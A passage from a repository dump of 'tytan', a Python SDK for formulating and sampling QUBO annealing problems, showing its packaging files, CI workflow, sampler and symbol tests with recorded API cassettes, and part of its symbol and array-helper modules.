├── img
├── .gitkeep
└── img-01.png
├── tests
├── __init__.py
├── conftest.py
├── compile
│ ├── __init__.py
│ └── test_compile.py
├── sampler
│ ├── __init__.py
│ ├── test_zeke_sampler.py
│ ├── test_nqs_local_sampler.py
│ ├── test_nqs_sampler.py
│ ├── test_sa_sampler.py
│ ├── test_ga_sampler.py
│ └── cassettes
│ │ ├── test_nqs_sampler
│ │ └── test_nqs_sampler_run.yaml
│ │ ├── test_nqs_local_sampler
│ │ └── test_nqs_local_sampler_run.yaml
│ │ └── test_zeke_sampler
│ │ └── test_zeke_sampler_run.yaml
├── support
│ ├── __init__.py
│ └── custom_stub.py
└── symbol
│ ├── __init__.py
│ └── test_symbols_list.py
├── tytan
├── _version.py
├── __init__.py
├── symbol.py
├── auto_array.py
├── compile.py
└── sampler.py
├── MANIFEST.in
├── requirements-dev.txt
├── requirements.txt
├── requirements-test.txt
├── .gitignore
├── .pre-commit-config.yaml
├── pyproject.toml
├── setup.py
├── .github
└── workflows
│ └── python-package.yml
├── document .md
├── README.md
└── LICENSE
/img/.gitkeep:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/tests/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/conftest.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/compile/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/sampler/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/support/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/symbol/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tytan/_version.py:
--------------------------------------------------------------------------------
1 | __version__ = "0.1.4"
2 |
--------------------------------------------------------------------------------
/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include LICENSE
2 | include requirements.txt
3 |
--------------------------------------------------------------------------------
/img/img-01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tytansdk/tytan/HEAD/img/img-01.png
--------------------------------------------------------------------------------
/requirements-dev.txt:
--------------------------------------------------------------------------------
1 | # pip install -r requirements-dev.txt
2 | black
3 | pre-commit
4 | pyright
5 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | httpx
2 | ulid-py
3 | numpy
4 | pandas
5 | sympy
6 | scipy
7 | symengine
8 | requests
9 |
--------------------------------------------------------------------------------
/requirements-test.txt:
--------------------------------------------------------------------------------
1 | # pip install -r requirements-test.txt
2 | pytest
3 | pytest-cov
4 | pytest-recording
5 | vcrpy
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__
2 | .pytest_cache
3 | *.egg-info
4 | dist
5 | build
6 | *.DS_Store
7 | .venv
8 | .ipynb_checkpoints
9 | virt
10 |
--------------------------------------------------------------------------------
/.pre-commit-config.yaml:
--------------------------------------------------------------------------------
1 | repos:
2 | - repo: https://github.com/psf/black
3 | rev: 23.3.0
4 | hooks:
5 | - id: black
6 | language_version: python3.10
7 | # - repo: https://github.com/RobertCraigie/pyright-python
8 | # rev: v1.1.303
9 | # hooks:
10 | # - id: pyright
--------------------------------------------------------------------------------
/tytan/__init__.py:
--------------------------------------------------------------------------------
1 | from .symbol import symbols, symbols_list, symbols_define, symbols_nbit
2 | from .compile import Compile, PieckCompile
3 | from . import sampler
4 | from .auto_array import Auto_array
5 |
6 | # from tytan import * 用
7 | __all__ = ['symbols', 'symbols_list', 'symbols_define', 'symbols_nbit', 'Compile', 'PieckCompile', 'sampler', 'Auto_array']
--------------------------------------------------------------------------------
/tests/support/custom_stub.py:
--------------------------------------------------------------------------------
1 | from vcr.request import Request as VcrRequest
2 |
3 |
4 | def make_vcr_request(httpx_request, **kwargs):
5 | try:
6 | body = httpx_request.read().decode("utf-8")
7 | except Exception:
8 | body = httpx_request.read()
9 | uri = str(httpx_request.url)
10 | headers = dict(httpx_request.headers)
11 | return VcrRequest(httpx_request.method, uri, body, headers)
12 |
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.black]
2 | include = '\.pyi?$'
3 | exclude = '''
4 | /(
5 | \.git
6 | | \.hg
7 | | \.mypy_cache
8 | | \.tox
9 | | \.venv
10 | | \.pytest_cache
11 | | _build
12 | | buck-out
13 | | build
14 | | dist
15 | )/
16 | '''
17 |
18 | [tool.pyright]
19 | include = [
20 | "tytan",
21 | ]
22 | exclude = [
23 | "**/__pycache__",
24 | ]
25 | typeCheckingMode = "strict"
26 | reportMissingTypeStubs = false
27 | reportUnknownMemberType = false
--------------------------------------------------------------------------------
/tests/sampler/test_zeke_sampler.py:
--------------------------------------------------------------------------------
1 | import os
2 | import pytest
3 |
4 | from tytan import symbols, Compile
5 | from tytan.sampler import ZekeSampler
6 |
7 |
8 | @pytest.mark.vcr(filter_headers=["x-api-key"])
9 | def test_zeke_sampler_run():
10 | x, y, z = symbols("x y z")
11 | expr = 3 * x**2 + 2 * x * y + 4 * y**2 + z**2 + 2 * x * z + 2 * y * z
12 | qubo, offset = Compile(expr).get_qubo()
13 | api_key = os.environ.get("TYTAN_API_KEY", "foobar")
14 | sampler = ZekeSampler()
15 | result = sampler.run(qubo, shots=1, api_key=api_key)
16 | assert result is not None
17 | assert result[0][0] is not None
18 | assert result[0][0]["x"] is not None
19 | assert result[0][0]["y"] is not None
20 | assert result[0][0]["z"] is not None
21 | assert result[0][1] is not None
22 | assert result[0][2] is not None
23 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | import setuptools
2 |
3 | with open("README.md", "r", encoding="utf-8") as f:
4 | long_description = f.read()
5 |
6 | with open("tytan/_version.py", "r", encoding="utf-8") as f:
7 | exec(f.read())
8 |
9 | with open("requirements.txt", "r", encoding="utf-8") as f:
10 | install_requires = list(map(str.strip, f))
11 |
12 | setuptools.setup(
13 | name = "tytan",
14 | version=__version__,
15 | author="Tytan Developers",
16 | author_email="info@blueqat.com",
17 | description="QUBO Annealing SDK",
18 | long_description=long_description,
19 | long_description_content_type="text/markdown",
20 | url="https://github.com/tytansdk/tytan",
21 | license="Apache 2",
22 | packages=setuptools.find_packages(),
23 | install_requires=install_requires,
24 | classifiers=[
25 | "Programming Language :: Python :: 3",
26 | "License :: OSI Approved :: Apache Software License",
27 | "Development Status :: 3 - Alpha",
28 | ]
29 | )
30 |
--------------------------------------------------------------------------------
/tests/sampler/test_nqs_local_sampler.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from tests.support.custom_stub import make_vcr_request
3 | from tytan import symbols, Compile
4 | from tytan.sampler import NQSLocalSampler
5 | import vcr.stubs.httpx_stubs
6 |
7 |
8 |
9 |
10 | @pytest.mark.vcr(
11 | match_on=["uri", "method"],
12 | custom_patches=(
13 | (vcr.stubs.httpx_stubs, "_make_vcr_request", make_vcr_request),
14 | ),
15 | )
16 | def test_nqs_local_sampler_run():
17 | x, y, z = symbols("x y z")
18 | expr = 3 * x**2 + 2 * x * y + 4 * y**2 + z**2 + 2 * x * z + 2 * y * z
19 | qubo, offset = Compile(expr).get_qubo()
20 | sampler = NQSLocalSampler()
21 | result = sampler.run(qubo)
22 | assert result is not None
23 | assert result[0][0] is not None
24 | assert result[0][0]["x"] == 0
25 | assert result[0][0]["y"] == 0
26 | assert result[0][0]["z"] == 0
27 | assert result[0][1] == 0 #energy
28 | assert result[0][2] is not None #occ
29 | assert result[0][3] is not None #time
30 |
--------------------------------------------------------------------------------
/tests/sampler/test_nqs_sampler.py:
--------------------------------------------------------------------------------
1 | import os
2 | import pytest
3 | import vcr.stubs.httpx_stubs
4 | from tests.support.custom_stub import make_vcr_request
5 | from tytan import symbols, Compile
6 | from tytan.sampler import NQSSampler
7 |
8 |
9 | @pytest.mark.vcr(
10 | filter_headers=["x-api-key"],
11 | match_on=["uri", "method"],
12 | custom_patches=(
13 | (vcr.stubs.httpx_stubs, "_make_vcr_request", make_vcr_request),
14 | ),
15 | )
16 | def test_nqs_sampler_run():
17 | x, y, z = symbols("x y z")
18 | expr = 3 * x**2 + 2 * x * y + 4 * y**2 + z**2 + 2 * x * z + 2 * y * z
19 | qubo, offset = Compile(expr).get_qubo()
20 | api_key = os.environ.get("TYTAN_API_KEY", "foobar")
21 | sampler = NQSSampler(api_key)
22 | result = sampler.run(qubo)
23 | assert result is not None
24 | assert result[0][0] is not None
25 | assert result[0][0]["x"] == 0
26 | assert result[0][0]["y"] == 0
27 | assert result[0][0]["z"] == 0
28 | assert result[0][1] == 0 #energy
29 | assert result[0][2] is not None #occ
30 | assert result[0][3] is not None #time
31 |
--------------------------------------------------------------------------------
/.github/workflows/python-package.yml:
--------------------------------------------------------------------------------
1 | # This workflow will install Python dependencies, run tests and lint with a variety of Python versions
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python
3 |
4 | name: Python package
5 |
6 | on:
7 | push:
8 | branches: [ "main" ]
9 | pull_request:
10 | branches: [ "main" ]
11 |
12 | jobs:
13 | build:
14 |
15 | runs-on: ubuntu-latest
16 | strategy:
17 | fail-fast: false
18 | matrix:
19 | python-version: ["3.8", "3.9", "3.10"]
20 |
21 | steps:
22 | - uses: actions/checkout@v3
23 | - name: Set up Python ${{ matrix.python-version }}
24 | uses: actions/setup-python@v3
25 | with:
26 | python-version: ${{ matrix.python-version }}
27 | - name: Install dependencies
28 | run: |
29 | python -m pip install --upgrade pip
30 | python -m pip install flake8 pytest
31 | pip install -r requirements.txt
32 | pip install -r requirements-test.txt
33 | # - name: Lint with flake8
34 | # run: |
35 | # # stop the build if there are Python syntax errors or undefined names
36 | # flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
37 | # # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
38 | # flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
39 | - name: Test with pytest
40 | run: |
41 | pytest
42 |
--------------------------------------------------------------------------------
/tests/sampler/test_sa_sampler.py:
--------------------------------------------------------------------------------
1 | from tytan import symbols, Compile
2 | from tytan.sampler import SASampler
3 |
4 |
5 | def test_sa_sampler_run():
6 | x, y, z = symbols("x y z")
7 | expr = (x + y + z - 2)**2
8 | qubo, offset = Compile(expr).get_qubo()
9 | sampler = SASampler()
10 | result = sampler.run(qubo)
11 | for r in result:
12 | print(r)
13 | assert result is not None
14 | assert result[0][0] is not None
15 | assert result[0][0]["x"] is not None
16 | assert result[0][0]["y"] is not None
17 | assert result[0][0]["z"] is not None
18 | assert result[0][1] is not None
19 | assert result[0][2] is not None
20 |
21 | def test_sa_sampler_run_with_seed():
22 | x, y, z = symbols("x y z")
23 | expr = (x + y + z - 2)**2
24 | qubo, offset = Compile(expr).get_qubo()
25 |
26 | #1
27 | print('try 1, ', end='')
28 | sampler = SASampler(seed=0)
29 | result = sampler.run(qubo)
30 | print(result[0][0]["x"], result[0][0]["y"], result[0][0]["z"], result[0][2])
31 | x = result[0][0]["x"]
32 | y = result[0][0]["y"]
33 | z = result[0][0]["z"]
34 | count = result[0][2]
35 |
36 | #2-
37 | for i in range(2, 10):
38 | print(f'try {i}, ', end='')
39 | sampler = SASampler(seed=0)
40 | result = sampler.run(qubo)
41 | print(result[0][0]["x"], result[0][0]["y"], result[0][0]["z"], result[0][2])
42 | assert result[0][0]["x"] == x
43 | assert result[0][0]["y"] == y
44 | assert result[0][0]["z"] == z
45 | assert result[0][2] == count
46 |
--------------------------------------------------------------------------------
/tests/sampler/test_ga_sampler.py:
--------------------------------------------------------------------------------
1 | from tytan import symbols, Compile
2 | from tytan.sampler import GASampler
3 |
4 |
5 | def test_ga_sampler_run():
6 | x, y, z = symbols("x y z")
7 | expr = (x + y + z - 2)**2
8 | qubo, offset = Compile(expr).get_qubo()
9 | sampler = GASampler()
10 | result = sampler.run(qubo)
11 | for r in result:
12 | print(r)
13 | assert result is not None
14 | assert result[0][0] is not None
15 | assert result[0][0]["x"] is not None
16 | assert result[0][0]["y"] is not None
17 | assert result[0][0]["z"] is not None
18 | assert result[0][1] is not None
19 | assert result[0][2] is not None
20 |
21 | def test_ga_sampler_run_with_seed():
22 | x, y, z = symbols("x y z")
23 | expr = (x + y + z - 2)**2
24 | qubo, offset = Compile(expr).get_qubo()
25 |
26 | #1
27 | print('try 1, ', end='')
28 | sampler = GASampler(seed=0)
29 | result = sampler.run(qubo, verbose=False)
30 | print(result[0][0]["x"], result[0][0]["y"], result[0][0]["z"], result[0][2])
31 | x = result[0][0]["x"]
32 | y = result[0][0]["y"]
33 | z = result[0][0]["z"]
34 | count = result[0][2]
35 |
36 | #2-
37 | for i in range(2, 10):
38 | print(f'try {i}, ', end='')
39 | sampler = GASampler(seed=0)
40 | result = sampler.run(qubo, verbose=False)
41 | print(result[0][0]["x"], result[0][0]["y"], result[0][0]["z"], result[0][2])
42 | assert result[0][0]["x"] == x
43 | assert result[0][0]["y"] == y
44 | assert result[0][0]["z"] == z
45 | assert result[0][2] == count
46 |
--------------------------------------------------------------------------------
/tests/sampler/cassettes/test_nqs_sampler/test_nqs_sampler_run.yaml:
--------------------------------------------------------------------------------
1 | interactions:
2 | - request:
3 | body: !!binary |
4 | LS00NGE5NDQ1MmQ2Mzc2NTllNDQxODM1Njc1Y2RlMmUwMg0KQ29udGVudC1EaXNwb3NpdGlvbjog
5 | Zm9ybS1kYXRhOyBuYW1lPSJwb3B1bGF0aW9uIg0KDQo1MDANCi0tNDRhOTQ0NTJkNjM3NjU5ZTQ0
6 | MTgzNTY3NWNkZTJlMDINCkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0idGlt
7 | ZUxpbWl0U2VjIg0KDQozMA0KLS00NGE5NDQ1MmQ2Mzc2NTllNDQxODM1Njc1Y2RlMmUwMg0KQ29u
8 | dGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJpdGVyIg0KDQoxMDAwMA0KLS00NGE5
9 | NDQ1MmQ2Mzc2NTllNDQxODM1Njc1Y2RlMmUwMg0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1k
10 | YXRhOyBuYW1lPSJ6aXBmaWxlIjsgZmlsZW5hbWU9IjAxR1k1M044OUhOMFNXWU5CODhUR1pQUVFG
11 | LnppcCINCkNvbnRlbnQtVHlwZTogZGF0YTphcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCg0KUEsD
12 | BBQAAAAIALmykFZTJ1OXIQAAACMAAAAKAAAAcXVib193LmNzdtOp1KnSqeDlqtQx0THSMeLlqtIx
13 | 0DEEMSqADAMdY14uAFBLAQIUAxQAAAAIALmykFZTJ1OXIQAAACMAAAAKAAAAAAAAAAAAAACAAQAA
14 | AABxdWJvX3cuY3N2UEsFBgAAAAABAAEAOAAAAEkAAAAAAA0KLS00NGE5NDQ1MmQ2Mzc2NTllNDQx
15 | ODM1Njc1Y2RlMmUwMi0tDQo=
16 | headers:
17 | accept:
18 | - '*/*'
19 | accept-encoding:
20 | - gzip
21 | connection:
22 | - keep-alive
23 | content-length:
24 | - '644'
25 | content-type:
26 | - multipart/form-data; boundary=44a94452d637659e441835675cde2e02
27 | host:
28 | - tytan-api.blueqat.com
29 | user-agent:
30 | - blueqat
31 | method: POST
32 | uri: https://tytan-api.blueqat.com/v1/tasks/nqs
33 | response:
34 | content: '{"energy":0.0,"result":{"x":0,"y":0,"z":0},"time":3.718784809112549}'
35 | headers:
36 | Connection:
37 | - keep-alive
38 | Content-Length:
39 | - '68'
40 | Content-Type:
41 | - application/json
42 | Date:
43 | - Sun, 16 Apr 2023 13:22:02 GMT
44 | Server:
45 | - nginx
46 | Vary:
47 | - Accept-Encoding
48 | http_version: HTTP/1.1
49 | status_code: 200
50 | version: 1
51 |
--------------------------------------------------------------------------------
/tests/sampler/cassettes/test_nqs_local_sampler/test_nqs_local_sampler_run.yaml:
--------------------------------------------------------------------------------
1 | interactions:
2 | - request:
3 | body: !!binary |
4 | LS00NGE5NDQ1MmQ2Mzc2NTllNDQxODM1Njc1Y2RlMmUwMg0KQ29udGVudC1EaXNwb3NpdGlvbjog
5 | Zm9ybS1kYXRhOyBuYW1lPSJwb3B1bGF0aW9uIg0KDQo1MDANCi0tNDRhOTQ0NTJkNjM3NjU5ZTQ0
6 | MTgzNTY3NWNkZTJlMDINCkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0idGlt
7 | ZUxpbWl0U2VjIg0KDQozMA0KLS00NGE5NDQ1MmQ2Mzc2NTllNDQxODM1Njc1Y2RlMmUwMg0KQ29u
8 | dGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJpdGVyIg0KDQoxMDAwMA0KLS00NGE5
9 | NDQ1MmQ2Mzc2NTllNDQxODM1Njc1Y2RlMmUwMg0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1k
10 | YXRhOyBuYW1lPSJ6aXBmaWxlIjsgZmlsZW5hbWU9IjAxR1k1M044OUhOMFNXWU5CODhUR1pQUVFG
11 | LnppcCINCkNvbnRlbnQtVHlwZTogZGF0YTphcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCg0KUEsD
12 | BBQAAAAIALmykFZTJ1OXIQAAACMAAAAKAAAAcXVib193LmNzdtOp1KnSqeDlqtQx0THSMeLlqtIx
13 | 0DEEMSqADAMdY14uAFBLAQIUAxQAAAAIALmykFZTJ1OXIQAAACMAAAAKAAAAAAAAAAAAAACAAQAA
14 | AABxdWJvX3cuY3N2UEsFBgAAAAABAAEAOAAAAEkAAAAAAA0KLS00NGE5NDQ1MmQ2Mzc2NTllNDQx
15 | ODM1Njc1Y2RlMmUwMi0tDQo=
16 | headers:
17 | accept:
18 | - '*/*'
19 | accept-encoding:
20 | - gzip
21 | connection:
22 | - keep-alive
23 | content-length:
24 | - '644'
25 | content-type:
26 | - multipart/form-data; boundary=44a94452d637659e441835675cde2e02
27 | host:
28 | - tytan-api.blueqat.com
29 | user-agent:
30 | - blueqat
31 | method: POST
32 | uri: http://localhost:8080/ngqs/v1/solve
33 | response:
34 | content: '{"energy":0.0,"result":{"x":0,"y":0,"z":0},"time":3.718784809112549}'
35 | headers:
36 | Connection:
37 | - keep-alive
38 | Content-Length:
39 | - '68'
40 | Content-Type:
41 | - application/json
42 | Date:
43 | - Sun, 16 Apr 2023 13:22:02 GMT
44 | Server:
45 | - nginx
46 | Vary:
47 | - Accept-Encoding
48 | http_version: HTTP/1.1
49 | status_code: 200
50 | version: 1
51 |
--------------------------------------------------------------------------------
/tests/sampler/cassettes/test_zeke_sampler/test_zeke_sampler_run.yaml:
--------------------------------------------------------------------------------
1 | interactions:
2 | - request:
3 | body: '{"bqm": {"type": "BinaryQuadraticModel", "version": {"bqm_schema": "3.0.0"},
4 | "use_bytes": false, "index_type": "int32", "bias_type": "float64", "num_variables":
5 | 3, "num_interactions": 3, "variable_labels": ["y", "x", "z"], "variable_type":
6 | "BINARY", "offset": 0.0, "info": {}, "linear_biases": [4.0, 3.0, 1.0], "quadratic_biases":
7 | [2.0, 2.0, 2.0], "quadratic_head": [0, 1, 0], "quadratic_tail": [1, 2, 2]},
8 | "shots": 1}'
9 | headers:
10 | Accept-Encoding:
11 | - gzip
12 | Connection:
13 | - close
14 | Content-Length:
15 | - '418'
16 | Content-Type:
17 | - application/json
18 | Host:
19 | - tytan-api.blueqat.com
20 | User-Agent:
21 | - Python-urllib/3.11
22 | method: POST
23 | uri: https://tytan-api.blueqat.com/v1/tasks/create
24 | response:
25 | body:
26 | string: !!binary |
27 | H4sIAAAAAAAAA42Sy27CMBBF/2XWATmO4yTs2l03XZRVhVDkmAlEzQP5QaGIf+8YAkVVW3Xl171z
28 | 7tg+QrOCGVSYiziVbKISrCeiZinNRD2pVIWasSJFmUMEBq1vHcyO0PT1EMYKnSqN6tcIswWbslxK
29 | kSRFlsqiKJJYRuk0Y0mWc5EJmUrO4mV0MVm9wZVvsXSHLZlhjUOHzjQaThGMe3PVbVucoyP2DrUb
30 | jA1Q7NGsD2G2Uk5dwMubSRmjDmSwGxXWi0AMuiuobgflpCCFt1hWB4dUtFatRQL3visHrb0x2Gu0
31 | d4z4/4Sm/6X+KbRhbDP0obA9d2fRne+iIwgk03jKYMxhhndyxtEoLC9BboEWbPlHpOh7KE+pEv5z
32 | 1yPgK3547BBhp0yjqjZok5tsq/Qb0q9xxiM1NEqu7sen54eXV7g7aOkTtVRhAXvaDik/YElU3KP2
33 | ji6jdE1HVnpFxqXkgjOe8Zxnscgj0AZXjbOlHnrru8CNT58+A3+ktgIAAA==
34 | headers:
35 | Connection:
36 | - close
37 | Content-Encoding:
38 | - gzip
39 | Content-Type:
40 | - application/json
41 | Date:
42 | - Fri, 14 Apr 2023 01:44:51 GMT
43 | Server:
44 | - nginx
45 | Transfer-Encoding:
46 | - chunked
47 | Vary:
48 | - Accept-Encoding
49 | status:
50 | code: 200
51 | message: OK
52 | version: 1
53 |
--------------------------------------------------------------------------------
/tytan/symbol.py:
--------------------------------------------------------------------------------
1 | import numpy as np
2 | import itertools
3 | import inspect
4 | from symengine import symbols as symengine_symbols
5 |
6 | """
7 | SympyのSymbol関数にそのまま投げる関数
8 | importをTYTANだけにするための申し訳ない方策
9 | """
10 | def symbols(passed_txt):
11 | return symengine_symbols(passed_txt)
12 |
13 | class TytanException(Exception):
14 | pass
15 |
16 | """
17 | リストでまとめて定義する関数
18 | """
19 | def symbols_list(shape, format_txt):
20 | #単一intの場合
21 | if type(shape) == int:
22 | shape = [shape]
23 | #print(shape)
24 |
25 | #次元チェック
26 | dim = len(shape)
27 | if dim != format_txt.count('{}'):
28 | raise TytanException("specify format option like format_txt=\'q{}_{}\' as dimension")
29 |
30 | #{}のセパレートチェック
31 | if '}{' in format_txt:
32 | raise TytanException("separate {} in format_txt like format_txt=\'q{}_{}\'")
33 |
34 | #次元が1~5でなければエラー
35 | if dim not in [1, 2, 3, 4, 5]:
36 | raise TytanException("Currently only dim<=5 is available. Ask tytan community.")
37 |
38 | #再帰的にシンボルを作成する
39 | def recursive_create(indices):
40 | if len(indices) == dim:
41 | return symbols(format_txt.format(*indices))
42 | else:
43 | return [recursive_create(indices + [i]) for i in range(shape[len(indices)])]
44 | q = recursive_create([])
45 |
46 | return np.array(q)
47 |
48 |
49 |
50 | """
51 | 個別定義用のコマンドを返す関数
52 | exec(command)して定義
53 | """
54 | def symbols_define(shape, format_txt):
55 | #単一intの場合
56 | if type(shape) == int:
57 | shape = [shape]
58 | #print(shape)
59 |
60 | #次元チェック
61 | dim = len(shape)
62 | if dim != format_txt.count('{}'):
63 | raise TytanException("specify format option like format_txt=\'q{}_{}\' as dimension")
64 |
65 | #{}のセパレートチェック
66 | if '}{' in format_txt:
67 | raise TytanException("separate {} in format_txt like format_txt=\'q{}_{}\'")
68 |
69 | #次元が1~5でなければエラー
70 | if dim not in [1, 2, 3, 4, 5]:
71 | raise TytanException("Currently only dim<=5 is available. Ask tytan community.")
72 |
73 | #再帰的に定義を作成する
74 | command = f"{format_txt} = symbols('{format_txt}')"
75 | def recursive_create(indices):
76 | if len(indices) == dim:
77 | return command.format(*indices, *indices) + "\r\n"
78 | else:
79 | return "".join(recursive_create(indices + [i]) for i in range(shape[len(indices)]))
80 | ret = recursive_create([])
81 |
82 | return ret[:-2]
83 |
84 | # #表示用
85 | # start_indices = [0] * dim
86 | # end_indices = [s - 1 for s in shape]
87 | # first_command = command.format(*start_indices, *start_indices)
88 | # final_command = command.format(*end_indices, *end_indices)
89 | # print(f'defined global: {first_command} to {final_command}')
90 |
91 |
92 | def symbols_nbit(start, stop, format_txt, num=8):
93 | #次元チェック
94 | if 1 != format_txt.count('{}'):
95 | raise TytanException("specify format option like format_txt=\'q{}\' and should be one dimension.")
96 |
97 | #生成
98 | q = symbols_list(num, format_txt=format_txt)
99 |
100 | #式
101 | ret = 0
102 | for n in range(num):
103 | #係数を規格化してから量子ビットをかけたい
104 | ret += (start + (stop - start)) * 2**(num - n - 1) / 2**num * q[n]
105 |
106 | return ret
107 |
--------------------------------------------------------------------------------
/tests/symbol/test_symbols_list.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | import numpy as np
3 | from tytan import symbols_list, symbols_define
4 |
5 |
6 | # Convert symbol array to string array (for comparison)
7 | def get_symbol_names(symbol_array):
8 | return np.vectorize(lambda x: str(x))(symbol_array)
9 |
10 |
11 | def test_symbols_list_dim1():
12 | expected_names = np.array(["q0", "q1"])
13 |
14 | result = symbols_list((2), "q{}")
15 | result_names = get_symbol_names(result)
16 |
17 | assert np.array_equal(result_names, expected_names)
18 |
19 |
20 | def test_symbols_list_dim2():
21 | expected_names = np.array([["q0_0", "q0_1", "q0_2"], ["q1_0", "q1_1", "q1_2"]])
22 |
23 | result = symbols_list((2, 3), "q{}_{}")
24 | result_names = get_symbol_names(result)
25 |
26 | assert np.array_equal(result_names, expected_names)
27 |
28 |
29 | def test_symbols_list_dim3():
30 | expected_names = np.array(
31 | [
32 | [
33 | ["q0_0_0", "q0_0_1", "q0_0_2", "q0_0_3"],
34 | ["q0_1_0", "q0_1_1", "q0_1_2", "q0_1_3"],
35 | ["q0_2_0", "q0_2_1", "q0_2_2", "q0_2_3"],
36 | ],
37 | [
38 | ["q1_0_0", "q1_0_1", "q1_0_2", "q1_0_3"],
39 | ["q1_1_0", "q1_1_1", "q1_1_2", "q1_1_3"],
40 | ["q1_2_0", "q1_2_1", "q1_2_2", "q1_2_3"],
41 | ],
42 | ]
43 | )
44 |
45 | result = symbols_list((2, 3, 4), "q{}_{}_{}")
46 | result_names = get_symbol_names(result)
47 |
48 | assert np.array_equal(result_names, expected_names)
49 |
50 |
51 | def test_symbols_define_dim1():
52 | expected = "q0 = symbols('q0')\r\n" + "q1 = symbols('q1')"
53 |
54 | result = symbols_define((2), "q{}")
55 |
56 | assert result == expected, f"Expected:\n{expected}\nBut got:\n{result}"
57 |
58 |
59 | def test_symbols_define_dim2():
60 | expected = (
61 | "q0_0 = symbols('q0_0')\r\n"
62 | + "q0_1 = symbols('q0_1')\r\n"
63 | + "q0_2 = symbols('q0_2')\r\n"
64 | + "q1_0 = symbols('q1_0')\r\n"
65 | + "q1_1 = symbols('q1_1')\r\n"
66 | + "q1_2 = symbols('q1_2')"
67 | )
68 |
69 | result = symbols_define((2, 3), "q{}_{}")
70 |
71 | assert result == expected, f"Expected:\n{expected}\nBut got:\n{result}"
72 |
73 |
74 | def test_symbols_define_dim3():
75 | expected = (
76 | "q0_0_0 = symbols('q0_0_0')\r\n"
77 | + "q0_0_1 = symbols('q0_0_1')\r\n"
78 | + "q0_0_2 = symbols('q0_0_2')\r\n"
79 | + "q0_0_3 = symbols('q0_0_3')\r\n"
80 | + "q0_1_0 = symbols('q0_1_0')\r\n"
81 | + "q0_1_1 = symbols('q0_1_1')\r\n"
82 | + "q0_1_2 = symbols('q0_1_2')\r\n"
83 | + "q0_1_3 = symbols('q0_1_3')\r\n"
84 | + "q0_2_0 = symbols('q0_2_0')\r\n"
85 | + "q0_2_1 = symbols('q0_2_1')\r\n"
86 | + "q0_2_2 = symbols('q0_2_2')\r\n"
87 | + "q0_2_3 = symbols('q0_2_3')\r\n"
88 | + "q1_0_0 = symbols('q1_0_0')\r\n"
89 | + "q1_0_1 = symbols('q1_0_1')\r\n"
90 | + "q1_0_2 = symbols('q1_0_2')\r\n"
91 | + "q1_0_3 = symbols('q1_0_3')\r\n"
92 | + "q1_1_0 = symbols('q1_1_0')\r\n"
93 | + "q1_1_1 = symbols('q1_1_1')\r\n"
94 | + "q1_1_2 = symbols('q1_1_2')\r\n"
95 | + "q1_1_3 = symbols('q1_1_3')\r\n"
96 | + "q1_2_0 = symbols('q1_2_0')\r\n"
97 | + "q1_2_1 = symbols('q1_2_1')\r\n"
98 | + "q1_2_2 = symbols('q1_2_2')\r\n"
99 | + "q1_2_3 = symbols('q1_2_3')"
100 | )
101 |
102 | result = symbols_define((2, 3, 4), "q{}_{}_{}")
103 |
104 | assert result == expected, f"Expected:\n{expected}\nBut got:\n{result}"
105 |
--------------------------------------------------------------------------------
/tytan/auto_array.py:
--------------------------------------------------------------------------------
1 | import re
2 | import itertools
3 | import numpy as np
4 | import pandas as pd
5 | from sympy import sympify
6 | from sympy import Symbol as sympy_Symbol
7 |
8 |
9 | """
10 | 量子ビットの添字を検出して結果を多次元配列に変換して返す
11 |
12 | <入力>
13 | result[0] : [dict_data, energy, occerrence]
14 | もしくは
15 | result[0][0] : dict_data
16 |
17 | <出力>
18 | ret : 多次元配列(存在しない要素は-1)
19 | subs_sets : 1次元目から順に添字セット
20 |
21 | <呼び方例>
22 | arr, subs = Auto_array(result[0]).get_ndarray('q{}_{}')
23 | df, subs = Auto_array(result[0]).get_dframe('q{}_{}')
24 | img, subs = Auto_array(result[0]).get_image('q{}_{}')
25 | 添字を{}に置き換えること
26 | """
27 |
28 | class Auto_array:
29 | def __init__(self, result0):
30 | #もし[dict_data, energy, occerrence]であればdict_dataを処理対象に
31 | if type(result0) is not dict:
32 | result0 = result0[0]
33 |
34 | self.a = result0
35 |
36 | #numpy形式で得る
37 | def get_ndarray(self, format_txt):
38 |
39 | #次元が1~5でなければエラー
40 | if format_txt.count('{}') not in [1, 2, 3, 4, 5]:
41 | raise
42 |
43 | a = self.a
44 |
45 | #全キー抽出
46 | keys = np.array(list(a.keys()))
47 | #print(keys)
48 |
49 | #フォーマット準備
50 | f = format_txt.replace('{}', '(.*)')
51 | #print(f)
52 |
53 | #フォーマットに従って添字抽出
54 | subs = [re.findall(f, key) for key in keys] #アンマッチは[]になっている
55 | subs = [sub for sub in subs if sub != []] #[]を削除
56 | subs = np.array(subs)
